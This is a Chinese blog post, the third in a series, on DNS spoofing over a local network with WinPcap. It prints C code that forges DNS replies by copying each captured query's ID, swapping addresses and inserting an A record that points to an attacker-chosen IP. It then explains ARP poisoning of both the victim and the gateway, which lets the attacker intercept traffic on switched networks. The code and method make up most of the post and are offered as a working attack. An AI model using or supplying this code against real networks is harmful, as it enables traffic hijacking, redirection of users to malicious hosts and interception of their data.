用winpcap实现局域网DNS欺骗之三(代码部分及深入研究)

原创 2006年05月23日 20:16:00

      先简要说说代码,这里只有构造DNS回应部分的代码,我还做了网址匹配,也就是说只有别人输入相应的网址才给转向不过出于一些原因就不放上来了。这里的代码只是对所有DNS都转向的代码,你可以自己加完整别的代码。

     随便转载,转载请注明出处http://blog.csdn.net/leotangcw/

    欢迎大家和我交流Email:tangchengwen@163.com

抓包和分析都要在子线程中进行,这样程序的效率才比较好。

伪造的包的DNS  ID一定要和请求的包的ID一样才可以工作。

........抓包

int packetlen=exprotocol_header->len+16;//从抓到包的长度得到要伪造包的长度
               int questlen=exprotocol_header->len-54;  //问题长度
                     u_int8_t* packet_content;                //要发的包
                        packet_content=(u_int8_t*)malloc((packetlen)*sizeof(u_int8_t));
                        unsigned short IP_len=ntohs(packetlen-14);    //
               unsigned short UDP_len=ntohs(packetlen-34);
                        memcpy(packet_content,expkt_data,exprotocol_header->len);   //拷贝抓的包到发的包里面因为有很多不需要改的地方,其中包括最重要的DNS  ID号
               memcpy(packet_content,expkt_data+6,6);                      //交换MAC地址
               memcpy(packet_content+6,expkt_data,6);
               memcpy(packet_content+16,&IP_len,2);                      //计算的IP数据包长度
               packet_content[18]=0x12;//IP的ID号 随便添
               packet_content[19]=0x34;//IP的ID号 随便添
                        packet_content[20]=0x40;  //不分段
                        packet_content[21]=0x00;   //偏移
                        packet_content[22]=0xf4;   //TTl=244
               packet_content[24]=0x00;//IP效验和先置0以后再算
                        packet_content[25]=0x00;//IIP效验和先置0以后再算
               memcpy(packet_content+26,expkt_data+30,4);//交换IP
               memcpy(packet_content+30,expkt_data+26,4);//交换IP
                        memcpy(packet_content+34,expkt_data+36,2);//交换端口
               memcpy(packet_content+36,expkt_data+34,2);//交换端口
               memcpy(packet_content+38,&UDP_len,2);    //填入计算的UDP数据包长度
                        packet_content[40]=0x00;//UDP效验和添0
                        packet_content[41]=0x00;//UDP效验和添0
                        packet_content[44]=0x81; //无错误标准回复
               packet_content[45]=0x80;  //无错误标准回复
                        packet_content[48]=0x00;  //回答数目1
               packet_content[49]=0x01;  //回答数目1
               packet_content[exprotocol_header->len]=0xc0;   //回答名字
               packet_content[exprotocol_header->len+1]=0x0c;  //回答名字
               packet_content[exprotocol_header->len+2]=0x00;  //类型 A
               packet_content[exprotocol_header->len+3]=0x01;  //类型 A
               packet_content[exprotocol_header->len+4]=0x00;  //类1
               packet_content[exprotocol_header->len+5]=0x01;  //类1
               packet_content[exprotocol_header->len+6]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+7]=0x00;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+8]=0x0c;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+9]=0xe8;  //你想让其在被欺骗主机上的DNS信息存活时间
               packet_content[exprotocol_header->len+10]=0x00;  //数据长度
               packet_content[exprotocol_header->len+11]=0x04;  //数据长度
               m_exdwAddress1=ntohl(m_exdwAddress);              //对输入的转向IP做网络字节转换
               memcpy(packet_content+exprotocol_header->len+12,&m_exdwAddress1,4); //转向的IP
               USHORT m_ipcheck;
                        u_int16_t* checkbufer;
               checkbufer=(u_int16_t*)malloc(20);
               memcpy(checkbufer,packet_content+14,20);    //把IP头拷入一个区域做计算

               m_ipcheck=checksum(checkbufer,20);              //计算IP校验和
               memcpy(packet_content+24,&m_ipcheck,2);        //添入IP校验和
               pcap_sendpacket(expcap_handle,packet_content,exprotocol_header->len+16);//发包

接下来是深入的讨论如果是在3层交换机上如何做DNS欺骗

三层交换机上只有广播包会发到所有端口,其他包都只会在对应端口之间传送。要让他的DNS查询发到你的机器上来就需要伪装成网关,因为我们是通过网关上网,所以所有外发的包都要过网关。

在这里我们要感谢ARP协议,这是一个数据链路层上的协议,主要作用是用来查询你的局域网上的其他主机的MAC地址,比如我们在ping 的时候就会发出一个ARP查询,比如:我是172.30.52.170,我现在ping 172.30.52.174 -t就会发出一个ARP查询向全网段广播问谁是172.30.52.174啊,请告诉我你的MAC地址,然后我就会得到一个172.30.52.174的回复说xx:xx:xx:xx:xx:xx的MAC对应的是172.30.52.174于是我就可以通过这个MAC和他进行传输了。同时我会把他的MAC和IP的对应关系写入我的机器的缓存(会存在一定时间),ARP请求也会更新缓存,比如上面我ping172.30.52.174他的缓存中也会留下我的IP和MAC对应关系。

而且ARP是后更新的,他和DNS相反,DNS对先到的回答做相应,ARP对后到的消息做缓存更新,于是我们就想出了一个好办法,比如我的MAC是01:02:03:04:05:06首先,我告诉我想欺骗的主机,我是网关,比如我给172.30.52.174的主机发一个ARP查询或应答包说172.30.52.1(网关)对应的MAC是01:02:03:04:05:06,同时告诉网关172.30.52.174的IP对应的MAC是01:02:03:04:05:06于是172.30.52.174把发给网关的包都给了我,同时网关也把给172.30.52.174的包都给了我,我在他们之间做一个包转发,就行了,这样所有的包都通过我了,后面的DNS欺骗就和前面一样了。

由于ARP包构造太简单了,就不详细写了,好了,先写到这里吧,写了一天累了。

用winpcap实现局域网DNS欺骗之二(DNS包的包结构)

晕了,刚才写着写着死机了,没保存,郁闷再写一次          随便转载,转载请注明出处http://blog.csdn.net/leotangcw/    欢迎大家和我交流Email:tangch...

用winpcap实现局域网DNS欺骗之一(基础知识)

          随便转载,转载请注明出处http://blog.csdn.net/leotangcw/    欢迎大家和我交流Email:tangchengwen@163.com     学校网络...

Delphi7高级应用开发随书源码

  • 2003年04月30日 00:00
  • 676KB
  • 下载

WinPcap权威指南(四):UDP与DNS欺骗

上一节介绍了ARP协议之后,群里面有朋友说ARP欺骗不是很简单么?实际上,实现ARP欺骗是很简单的,难点在于数据转发的速度。2004年我们做隔山打牛的时候,曾经去过一家网吧测试,刚开始是开了ARP欺骗...
  • rocklee
  • rocklee
  • 2016年03月30日 17:52
  • 845

Visual C++编译器常用选项设置总结

【文章摘要】 Microsoft Visual C++是微软公司推出的、在Windows下的可视化集成编程系统,也是广大软件工程师使用得比较多的一款编程软件。本文主要讲述Visual C++...

DNS域欺骗攻击详细教程之Windows篇

DNS欺骗即域名信息欺骗是最常见的DNS安全问题。当一个DNS服务器掉入陷阱,使用了来自一个恶意DNS服务器的错误信息,那么该DNS服务器就被欺骗了。DNS欺骗会使那些易受攻击的DNS服务器产生许多安...

深入研究Hibernate之三:一对多的双向

Classr

对一致性Hash算法,Java代码实现的深入研究

致性Hash算法 关于一致性Hash算法,在我之前的博文中已经有多次提到了,MemCache超详细解读一文中"一致性Hash算法"部分,对于为什么要使用一致性Hash算法、一致性Hash算法的算...

cocos2d-x 纹理深入研究 第二部分

1.纹理控制。    看此代码:    CCSprite *pSprite = CCSprite::create("ship.png");    ccTexParams params = {GL...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:用winpcap实现局域网DNS欺骗之三(代码部分及深入研究)
举报原因:
原因补充:

(最多只允许输入30个字)